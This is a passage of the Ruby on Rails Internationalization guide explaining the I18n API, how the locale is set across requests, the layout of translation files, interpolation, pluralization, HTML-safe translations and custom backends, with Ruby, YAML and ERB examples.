In the process of localizing your application you'll probably want to do the following three things:

Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc.

Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc.

Store the resulting dictionaries somewhere.

This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.

After reading this guide, you will know:

How I18n works in Ruby on Rails

How to correctly use I18n in a RESTful application in various ways

How to use I18n to translate Active Record errors or Action Mailer E-mail subjects

Some other tools to go further with the translation process of your application

Chapters

How I18n in Ruby on Rails Works

The Overall Architecture of the Library

The Public I18n API

Setup the Rails Application for Internationalization

Configure the I18n Module

Managing the Locale across Requests

Internationalization and Localization

Abstracting Localized Code

Providing Translations for Internationalized Strings

Passing Variables to Translations

Adding Date/Time Formats

Inflection Rules for Other Locales

Localized Views

Organization of Locale Files

Overview of the I18n API Features

Looking up Translations

Pluralization

Setting and Passing a Locale

Using Safe HTML Translations

Translations for Active Record Models

Translations for Action Mailer E-Mail Subjects

Overview of Other Built-In Methods that Provide I18n Support

How to Store your Custom Translations

Customize Your I18n Setup

Using Different Backends

Using Different Exception Handlers

Translating Model Content

Conclusion

Contributing to Rails I18n

Resources

Authors

Footnotes

The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may also use various gems available to add additional functionality or features. See the rails-i18n gem for more information.

1 How I18n in Ruby on Rails Works

Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:

providing support for English and similar languages out of the box

making it easy to customize and extend everything for other languages

As part of this solution, every static string in the Rails framework - e.g. Active Record validation messages, time and date formats - has been internationalized. Localization of a Rails application means defining translated values for these strings in desired languages.

To localize, store, and update content in your application (e.g. translate blog posts), see the Translating model content section.

1.1 The Overall Architecture of the Library

Thus, the Ruby I18n gem is split into two parts:

The public API of the i18n framework - a Ruby module with public methods that define how the library works

A default backend (which is intentionally named Simple backend) that implements these methods

As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.

It is possible to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section Using different backends below.

1.2 The Public I18n API

The most important methods of the I18n API are:

  translate # Lookup text translations
localize  # Localize Date and Time objects to local formats

These have the aliases #t and #l so you can use them like this:

  I18n.t 'store.title'
I18n.l Time.now

There are also attribute readers and writers for the following attributes:

  load_path                 # Announce your custom translation files
locale                    # Get and set the current locale
default_locale            # Get and set the default locale
available_locales         # Permitted locales available for the application
enforce_available_locales # Enforce locale permission (true or false)
exception_handler         # Use a different exception_handler
backend                   # Use a different backend

So, let's internationalize a simple Rails application from the ground up in the next chapters!

2 Setup the Rails Application for Internationalization

There are a few steps to get up and running with I18n support for a Rails application.

2.1 Configure the I18n Module

Following the convention over configuration philosophy, Rails I18n provides reasonable default translation strings. When different translation strings are needed, they can be overridden.

Rails adds all .rb and .yml files from the config/locales directory to the translations load path, automatically.

The default en.yml locale in this directory contains a sample pair of translation strings:

  en:
  hello: "Hello world"

This means, that in the :en locale, the key hello will map to the Hello world string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the activemodel/lib/active_model/locale/en.yml file or time and date formats in the activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.

The I18n library will use English as a default locale, i.e. if a different locale is not set, :en will be used for looking up translations.

The i18n library takes a pragmatic approach to locale keys (after some discussion), including only the locale ("language") part, like :en, :pl, not the region part, like :"en-US" or :"en-GB", which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as :cs, :th, or :es (for Czech, Thai, and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the :"en-US" locale you would have $ as a currency symbol, while in :"en-GB", you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a :"en-GB" dictionary.

The translations load path (I18n.load_path) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme.

The backend lazy-loads these translations when a translation is looked up for the first time. This backend can be swapped with something else even after translations have already been announced.

You can change the default locale as well as configure the translations load paths in config/application.rb as follows:

  config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')]
config.i18n.default_locale = :de

The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of config/application.rb:

  # config/initializers/locale.rb

# Where the I18n library should search for translation files
I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]

# Permitted locales available for the application
I18n.available_locales = [:en, :pt]

# Set default locale to something other than :en
I18n.default_locale = :pt

Note that appending directly to I18n.load_path instead of to the application's configured i18n will not override translations from external gems.

2.2 Managing the Locale across Requests

A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request.

The default locale is used for all translations unless I18n.locale= or I18n.with_locale is used.

I18n.locale can leak into subsequent requests served by the same thread/process if it is not consistently set in every controller. For example executing I18n.locale = :es in one POST requests will have effects for all later requests to controllers that don't set the locale, but only in that particular thread/process. For that reason, instead of I18n.locale = you can use I18n.with_locale which does not have this leak issue.

The locale can be set in an around_action in the ApplicationController:

  around_action :switch_locale

def switch_locale(&action)
  locale = params[:locale] || I18n.default_locale
  I18n.with_locale(locale, &action)
end

This example illustrates this using a URL query parameter to set the locale (e.g. http://example.com/books?locale=pt). With this approach, http://localhost:3000?locale=pt renders the Portuguese localization, while http://localhost:3000?locale=de loads a German localization.

The locale can be set using one of many different approaches.

2.2.1 Setting the Locale from the Domain Name

One option you have is to set the locale from the domain name where your application runs. For example, we want www.example.com to load the English (or default) locale, and www.example.es to load the Spanish locale. Thus the top-level domain name is used for locale setting. This has several advantages:

The locale is an obvious part of the URL.

People intuitively grasp in which language the content will be displayed.

It is very trivial to implement in Rails.

Search engines seem to like that content in different languages lives at different, inter-linked domains.

You can implement it like this in your ApplicationController:

  around_action :switch_locale

def switch_locale(&action)
  locale = extract_locale_from_tld || I18n.default_locale
  I18n.with_locale(locale, &action)
end

# Get locale from top-level domain or return +nil+ if such locale is not available
# You have to put something like:
#   127.0.0.1 application.com
#   127.0.0.1 application.it
#   127.0.0.1 application.pl
# in your /etc/hosts file to try this out locally
def extract_locale_from_tld
  parsed_locale = request.host.split('.').last
  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end

We can also set the locale from the subdomain in a very similar way:

  # Get locale code from request subdomain (like http://it.application.local:3000)
# You have to put something like:
#   127.0.0.1 gr.application.local
# in your /etc/hosts file to try this out locally
def extract_locale_from_subdomain
  parsed_locale = request.subdomains.first
  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end

If your application includes a locale switching menu, you would then have something like this in it:

  link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}")

assuming you would set APP_CONFIG[:deutsch_website_url] to some value like http://www.application.de.

This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).

2.2.2 Setting the Locale from URL Params

The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the I18n.with_locale(params[:locale], &action) around_action in the first example. We would like to have URLs like www.example.com/books?locale=ja or www.example.com/ja/books in this case.

This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.

Getting the locale from params and setting it accordingly is not hard; including it in every URL and thus passing it through the requests is. To include an explicit option in every URL, e.g. link_to(books_url(locale: I18n.locale)), would be tedious and probably impossible, of course.

Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its ApplicationController#default_url_options, which is useful precisely in this scenario: it enables us to set "defaults" for url_for and helper methods dependent on it (by implementing/overriding default_url_options).

We can include something like this in our ApplicationController then:

  # app/controllers/application_controller.rb
def default_url_options
  { locale: I18n.locale }
end

Every helper method dependent on url_for (e.g. helpers for named routes like root_path or root_url, resource routes like books_path or books_url, etc.) will now automatically include the locale in the query string, like this: http://localhost:3001/?locale=ja.

You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.

You probably want URLs to look like this: http://www.example.com/en/books (which loads the English locale) and http://www.example.com/nl/books (which loads the Dutch locale). This is achievable with the "over-riding default_url_options" strategy from above: you just have to set up your routes with scope:

  # config/routes.rb
scope "/:locale" do
  resources :books
end

Now, when you call the books_path method you should get "/en/books" (for the default locale). A URL like http://localhost:3001/nl/books should load the Dutch locale, then, and following calls to books_path should return "/nl/books" (because the locale changed).

Since the return value of default_url_options is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding I18n.locale in each iteration. Instead, leave I18n.locale untouched, and pass an explicit :locale option to the helper, or edit request.original_fullpath.

If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:

  # config/routes.rb
scope "(:locale)", locale: /en|nl/ do
  resources :books
end

With this approach you will not get a Routing Error when accessing your resources such as http://localhost:3001/books without a locale. This is useful for when you want to use the default locale when one is not specified.

Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like http://localhost:3001/nl will not work automatically, because the root to: "dashboard#index" declaration in your routes.rb doesn't take locale into account. (And rightly so: there's only one "root" URL.)

You would probably need to map URLs like these:

  # config/routes.rb
get '/:locale' => 'dashboard#index'

Do take special care about the order of your routes, so this route declaration does not "eat" other ones. (You may want to add it directly before the root :to declaration.)

Have a look at various gems which simplify working with routes: routing_filter, route_translator.

2.2.3 Setting the Locale from User Preferences

An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user.

  around_action :switch_locale

def switch_locale(&action)
  locale = current_user.try(:locale) || I18n.default_locale
  I18n.with_locale(locale, &action)
end

2.2.4 Choosing an Implied Locale

When an explicit locale has not been set for a request (e.g. via one of the above methods), an application should attempt to infer the desired locale.

2.2.4.1 Inferring Locale from the Language Header

The Accept-Language HTTP header indicates the preferred language for request's response. Browsers set this header value based on the user's language preference settings, making it a good first choice when inferring a locale.

A trivial implementation of using an Accept-Language header would be:

  def switch_locale(&action)
  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
  locale = extract_locale_from_accept_language_header
  logger.debug "* Locale set to '#{locale}'"
  I18n.with_locale(locale, &action)
end

private
  def extract_locale_from_accept_language_header
    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
  end

In practice, more robust code is necessary to do this reliably. Iain Hecker's http_accept_language library or Ryan Tomayko's locale Rack middleware provide solutions to this problem.

2.2.4.2 Inferring the Locale from IP Geolocation

The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as GeoLite2 Country or gems like geocoder can be used to implement this approach.

In general, this approach is far less reliable than using the language header and is not recommended for most web applications.

2.2.5 Storing the Locale from the Session or Cookies

You may be tempted to store the chosen locale in a session or a cookie. However, do not do this. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being RESTful. Read more about the RESTful approach in Stefan Tilkov's articles. Sometimes there are exceptions to this rule and those are discussed below.

3 Internationalization and Localization

OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests.

Next we need to internationalize our application by abstracting every locale-specific element. Finally, we need to localize it by providing necessary translations for these abstracts.

Given the following example:

  # config/routes.rb
Rails.application.routes.draw do
  root to: "home#index"
end

  # app/controllers/application_controller.rb
class ApplicationController < ActionController::Base

  around_action :switch_locale

  def switch_locale(&action)
    locale = params[:locale] || I18n.default_locale
    I18n.with_locale(locale, &action)
  end
end

  # app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = "Hello Flash"
  end
end

  <!-- app/views/home/index.html.erb -->
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>

3.1 Abstracting Localized Code

In our code, there are two strings written in English that will be rendered in our response ("Hello Flash" and "Hello World"). To internationalize this code, these strings need to be replaced by calls to Rails' #t helper with an appropriate key for each string:

  # app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = t(:hello_flash)
  end
end

  <!-- app/views/home/index.html.erb -->
<h1><%= t :hello_world %></h1>
<p><%= flash[:notice] %></p>

Now, when this view is rendered, it will show an error message which tells you that the translations for the keys :hello_world and :hello_flash are missing.

Rails adds a t (translate) helper method to your views so that you do not need to spell out I18n.t all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a <span class="translation_missing">.

3.2 Providing Translations for Internationalized Strings

Add the missing translations into the translation dictionary files:

  # config/locales/en.yml
en:
  hello_world: Hello world!
  hello_flash: Hello flash!

  # config/locales/pirate.yml
pirate:
  hello_world: Ahoy World
  hello_flash: Ahoy Flash

Because the default_locale hasn't changed, translations use the :en locale and the response renders the english strings:

If the locale is set via the URL to the pirate locale (http://localhost:3000?locale=pirate), the response renders the pirate strings:

You need to restart the server when you add new locale files.

You may use YAML (.yml) or plain Ruby (.rb) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)

If your translations are stored in YAML files, certain keys must be escaped. They are:

true, on, yes

false, off, no

Examples:

  # config/locales/en.yml
en:
  success:
    'true':  'True!'
    'on':    'On!'
    'false': 'False!'
  failure:
    true:    'True!'
    off:     'Off!'
    false:   'False!'

  I18n.t 'success.true'  # => 'True!'
I18n.t 'success.on'    # => 'On!'
I18n.t 'success.false' # => 'False!'
I18n.t 'failure.false' # => Translation Missing
I18n.t 'failure.off'   # => Translation Missing
I18n.t 'failure.true'  # => Translation Missing

3.3 Passing Variables to Translations

One key consideration for successfully internationalizing an application is to avoid making incorrect assumptions about grammar rules when abstracting localized code. Grammar rules that seem fundamental in one locale may not hold true in another one.

Improper abstraction is shown in the following example, where assumptions are made about the ordering of the different parts of the translation. Note that Rails provides a number_to_currency helper to handle the following case.

  <!-- app/views/products/show.html.erb -->
<%= "#{t('currency')}#{@product.price}" %>

  # config/locales/en.yml
en:
  currency: "$"

  # config/locales/es.yml
es:
  currency: "€"

If the product's price is 10 then the proper translation for Spanish is "10 €" instead of "€10" but the abstraction cannot give it.

To create proper abstraction, the I18n gem ships with a feature called variable interpolation that allows you to use variables in translation definitions and pass the values for these variables to the translation method.

Proper abstraction is shown in the following example:

  <!-- app/views/products/show.html.erb -->
<%= t('product_price', price: @product.price) %>

  # config/locales/en.yml
en:
  product_price: "$%{price}"

  # config/locales/es.yml
es:
  product_price: "%{price} €"

All grammatical and punctuation decisions are made in the definition itself, so the abstraction can give a proper translation.

The default and scope keywords are reserved and can't be used as variable names. If used, an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable, but this has not been passed to #translate, an I18n::MissingInterpolationArgument exception is raised.

3.4 Adding Date/Time Formats

OK! Now let's add a timestamp to the view, so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option - by default the :default format is used.

  <!-- app/views/home/index.html.erb -->
<h1><%= t :hello_world %></h1>
<p><%= flash[:notice] %></p>
<p><%= l Time.now, format: :short %></p>

And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):

  # config/locales/pirate.yml
pirate:
  time:
    formats:
      short: "arrrround %H'ish"

So that would give you:

Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by translating Rails' defaults for your locale. See the rails-i18n repository at GitHub for an archive of various locale files. When you put such file(s) in config/locales/ directory, they will automatically be ready for use.

3.5 Inflection Rules for Other Locales

Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In config/initializers/inflections.rb, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.

3.6 Localized Views

Let's say you have a BooksController in your application. Your index action renders content in app/views/books/index.html.erb template. When you put a localized variant of this template: index.es.html.erb in the same directory, Rails will render content in this template, when the locale is set to :es. When the locale is set to the default locale, the generic index.html.erb view will be used. (Future Rails versions may well bring this automagic localization to assets in public, etc.)

You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.

3.7 Organization of Locale Files

When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disk. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.

For example, your config/locales directory could look like this:

  |-defaults
|---es.yml
|---en.yml
|-models
|---book
|-----es.yml
|-----en.yml
|-views
|---defaults
|-----es.yml
|-----en.yml
|---books
|-----es.yml
|-----en.yml
|---users
|-----es.yml
|-----en.yml
|---navigation
|-----es.yml
|-----en.yml

This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.

The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:

  # config/application.rb
config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]

4 Overview of the I18n API Features

You should have a good understanding of using the i18n library now and know how to internationalize a basic Rails application. In the following chapters, we'll cover its features in more depth.

These chapters will show examples using both the I18n.translate method as well as the translate view helper method (noting the additional features provided by the view helper method).

Covered are features like these:

looking up translations

interpolating data into translations

pluralizing translations

using safe HTML translations (view helper method only)

localizing dates, numbers, currency, etc.

4.1 Looking up Translations

4.1.1 Basic Lookup, Scopes, and Nested Keys

Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:

  I18n.t :message
I18n.t 'message'

The translate method also takes a :scope option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:

  I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]

This looks up the :record_invalid message in the Active Record error messages.

Additionally, both the key and scopes can be specified as dot-separated keys as in:

  I18n.translate "activerecord.errors.messages.record_invalid"

Thus the following calls are equivalent:

  I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', scope: :activerecord
I18n.t :record_invalid, scope: 'activerecord.errors.messages'
I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]

4.1.2 Defaults

When a :default option is given, its value will be returned if the translation is missing:

  I18n.t :missing, default: 'Not here'
# => 'Not here'

If the :default value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.

E.g., the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result, the string "Not here" will be returned:

  I18n.t :missing, default: [:also_missing, 'Not here']
# => 'Not here'

4.1.3 Bulk and Namespace Lookup

To look up multiple translations at once, an array of keys can be passed:

  I18n.t [:odd, :even], scope: 'errors.messages'
# => ["must be odd", "must be even"]

Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive all Active Record error messages as a Hash with:

  I18n.t 'errors.messages'
# => {:inclusion=>"is not included in the list", :exclusion=> ... }

If you want to perform interpolation on a bulk hash of translations, you need to pass deep_interpolation: true as a parameter. When you have the following dictionary:

  en:
  welcome:
    title: "Welcome!"
    content: "Welcome to the %{app_name}"

then the nested interpolation will be ignored without the setting:

  I18n.t 'welcome', app_name: 'book store'
# => {:title=>"Welcome!", :content=>"Welcome to the %{app_name}"}

I18n.t 'welcome', deep_interpolation: true, app_name: 'book store'
# => {:title=>"Welcome!", :content=>"Welcome to the book store"}

4.1.4 "Lazy" Lookup

Rails implements a convenient way to look up the locale inside views. When you have the following dictionary:

  es:
  books:
    index:
      title: "Título"

you can look up the books.index.title value inside app/views/books/index.html.erb template like this (note the dot):

  <%= t '.title' %>

Automatic translation scoping by partial is only available from the translate view helper method.

"Lazy" lookup can also be used in controllers:

  en:
  books:
    create:
      success: Book created!

This is useful for setting flash messages for instance:

  class BooksController < ApplicationController
  def create
    # ...
    redirect_to books_url, notice: t('.success')
  end
end

4.2 Pluralization

In many languages — including English — there are only two forms, a singular and a plural, for a given string, e.g. "1 message" and "2 messages". Other languages (Arabic, Japanese, Russian and many more) have different grammars that have additional or fewer plural forms. Thus, the I18n API provides a flexible pluralization feature.

The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined in the pluralization backend. By default, only the English pluralization rules are applied.

  I18n.backend.store_translations :en, inbox: {
  zero: 'no messages', # optional
  one: 'one message',
  other: '%{count} messages'
}
I18n.translate :inbox, count: 2
# => '2 messages'

I18n.translate :inbox, count: 1
# => 'one message'

I18n.translate :inbox, count: 0
# => 'no messages'

The algorithm for pluralizations in :en is as simple as:

  lookup_key = :zero if count == 0 && entry.has_key?(:zero)
lookup_key ||= count == 1 ? :one : :other
entry[lookup_key]

The translation denoted as :one is regarded as singular, and the :other is used as plural. If the count is zero, and a :zero entry is present, then it will be used instead of :other.

If the lookup for the key does not return a Hash suitable for pluralization, an I18n::InvalidPluralizationData exception is raised.

4.2.1 Locale-specific Rules

The I18n gem provides a Pluralization backend that can be used to enable locale-specific rules. Include it to the Simple backend, then add the localized pluralization algorithms to translation store, as i18n.plural.rule.

  I18n::Backend::Simple.include(I18n::Backend::Pluralization)
I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } }
I18n.backend.store_translations :pt, apples: { one: 'one or none', other: 'more than one' }

I18n.t :apples, count: 0, locale: :pt
# => 'one or none'

Alternatively, the separate gem rails-i18n can be used to provide a fuller set of locale-specific pluralization rules.

4.3 Setting and Passing a Locale

The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current in the same way as, for example, Time.zone) or can be passed as an option to #translate and #localize.

If no locale is passed, I18n.locale is used:

  I18n.locale = :de
I18n.t :foo
I18n.l Time.now

Explicitly passing a locale:

  I18n.t :foo, locale: :de
I18n.l Time.now, locale: :de

The I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:

  I18n.default_locale = :de

4.4 Using Safe HTML Translations

Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.

  # config/locales/en.yml
en:
  welcome: <b>welcome!</b>
  hello_html: <b>hello!</b>
  title:
    html: <b>title!</b>

  <!-- app/views/home/index.html.erb -->
<div><%= t('welcome') %></div>
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>

Interpolation escapes as needed though. For example, given:

  en:
  welcome_html: "<b>Welcome %{username}!</b>"

you can safely pass the username as set by the user:

  <%# This is safe, it is going to be escaped if needed. %>
<%= t('welcome_html', username: @current_user.username) %>

Safe strings on the other hand are interpolated verbatim.

Automatic conversion to HTML safe translate text is only available from the translate view helper method.

4.5 Translations for Active Record Models

You can use the methods Model.model_name.human and Model.human_attribute_name(attribute) to transparently look up translations for your model and attribute names.

For example when you add the following translations:

  en:
  activerecord:
    models:
      user: Customer
    attributes:
      user:
        login: "Handle"
      # will translate User attribute "login" as "Handle"

Then User.model_name.human will return "Customer" and User.human_attribute_name("login") will return "Handle".

You can also set a plural form for model names, adding as following:

  en:
  activerecord:
    models:
      user:
        one: Customer
        other: Customers

Then User.model_name.human(count: 2) will return "Customers". With count: 1 or without params will return "Customer".

In the event you need to access nested attributes within a given model, you should nest these under model/attribute at the model level of your translation file:

  en:
  activerecord:
    attributes:
      user/role:
        admin: "Admin"
        contributor: "Contributor"

Then User.human_attribute_name("role.admin") will return "Admin".

If you are using a class which includes ActiveModel and does not inherit from ActiveRecord::Base, replace activerecord with activemodel in the above key paths.

4.5.1 Error Message Scopes

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.

This gives you quite powerful means to flexibly adjust your messages to your application's needs.

Consider a User model with a validation for the name attribute like this:

  class User < ApplicationRecord
  validates :name, presence: true
end

The key for the error message in this case is :blank. Active Record will look up this key in the namespaces:

  activerecord.errors.models.[model_name].attributes.[attribute_name]
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages

Thus, in our example it will try the following keys in this order and return the first result:

  activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

When your models are additionally using inheritance then the messages are looked up in the inheritance chain.

For example, you might have an Admin model inheriting from User:

  class Admin < User
  validates :name, presence: true
end

Then Active Record will look for messages in this order:

  activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

This way you can provide special translations for various error messages at different points in your model's inheritance chain and in the attributes, models, or default scopes.

4.5.2 Error Message Interpolation

The translated model name, translated attribute name, and value are always available for interpolation as model, attribute and value respectively.

So, for example, instead of the default error message "cannot be blank" you could use the attribute name like this : "Please fill in your %{attribute}".

count, where available, can be used for pluralization if present:

validation | with option | message | interpolation
confirmation | - | :confirmation | attribute
acceptance | - | :accepted | -
presence | - | :blank | -
absence | - | :present | -
length | :within, :in | :too_short | count
length | :within, :in | :too_long | count
length | :is | :wrong_length | count
length | :minimum | :too_short | count
length | :maximum | :too_long | count
uniqueness | - | :taken | -
format | - | :invalid | -
inclusion | - | :inclusion | -
exclusion | - | :exclusion | -
associated | - | :invalid | -
non-optional association | - | :required | -
numericality | - | :not_a_number | -
numericality | :greater_than | :greater_than | count
numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count
numericality | :equal_to | :equal_to | count
numericality | :less_than | :less_than | count
numericality | :less_than_or_equal_to | :less_than_or_equal_to | count
numericality | :other_than | :other_than | count
numericality | :only_integer | :not_an_integer | -
numericality | :in | :in | count
numericality | :odd | :odd | -
numericality | :even | :even | -

4.6 Translations for Action Mailer E-Mail Subjects

If you don't pass a subject to the mail method, Action Mailer will try to find it in your translations. The performed lookup will use the pattern <mailer_scope>.<action_name>.subject to construct the key.

  # user_mailer.rb
class UserMailer < ActionMailer::Base
  def welcome(user)
    #...
  end
end

  en:
  user_mailer:
    welcome:
      subject: "Welcome to Rails Guides!"

To send parameters to interpolation use the default_i18n_subject method on the mailer.

  # user_mailer.rb
class UserMailer < ActionMailer::Base
  def welcome(user)
    mail(to: user.email, subject: default_i18n_subject(user: user.name))
  end
end

  en:
  user_mailer:
    welcome:
      subject: "%{user}, welcome to Rails Guides!"

4.7 Overview of Other Built-In Methods that Provide I18n Support

Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.

4.7.1 Action View Helper Methods

distance_of_time_in_words translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See datetime.distance_in_words translations.

datetime_select and select_month use translated month names for populating the resulting select tag. See date.month_names for translations. datetime_select also looks up the order option from date.order (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the datetime.prompts scope if applicable.

The number_to_currency, number_with_precision, number_to_percentage, number_with_delimiter, and number_to_human_size helpers use the number format settings located in the number scope.

4.7.2 Active Model Methods

model_name.human and human_attribute_name use translations for model names and attribute names if available in the activerecord.models scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".

ActiveModel::Errors#generate_message (which is used by Active Model validations but may also be used manually) uses model_name.human and human_attribute_name (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".

ActiveModel::Error#full_message and ActiveModel::Errors#full_messages prepend the attribute name to the error message using a format looked up from errors.format (default: "%{attribute} %{message}"). To customize the default format, override it in the app's locale files. To customize the format per model or per attribute, see config.active_model.i18n_customize_full_message.

4.7.3 Active Support Methods

Array#to_sentence uses format settings as given in the support.array scope.

5 How to Store your Custom Translations

The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.²

For example a Ruby Hash providing translations can look like this:

  {
  pt: {
    foo: {
      bar: "baz"
    }
  }
}

The equivalent YAML file would look like this:

  pt:
  foo:
    bar: baz

As you see, in both cases the top level key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".

Here is a "real" example from the Active Support en.yml translations YAML file:

  en:
  date:
    formats:
      default: "%Y-%m-%d"
      short: "%b %d"
      long: "%B %d, %Y"

So, all of the following equivalent lookups will return the :short date format "%b %d":

  I18n.t 'date.formats.short'
I18n.t 'formats.short', scope: :date
I18n.t :short, scope: 'date.formats'
I18n.t :short, scope: [:date, :formats]

Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.

6 Customize Your I18n Setup

6.1 Using Different Backends

For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" for Ruby on Rails³ ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.

That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs, by passing a backend instance to the I18n.backend= setter.

For example, you can replace the Simple backend with the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends.

With the Chain backend, you could use the Active Record backend and fall back to the (default) Simple backend:

  I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)

6.2 Using Different Exception Handlers

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

  MissingTranslationData       # no translation was found for the requested key
InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
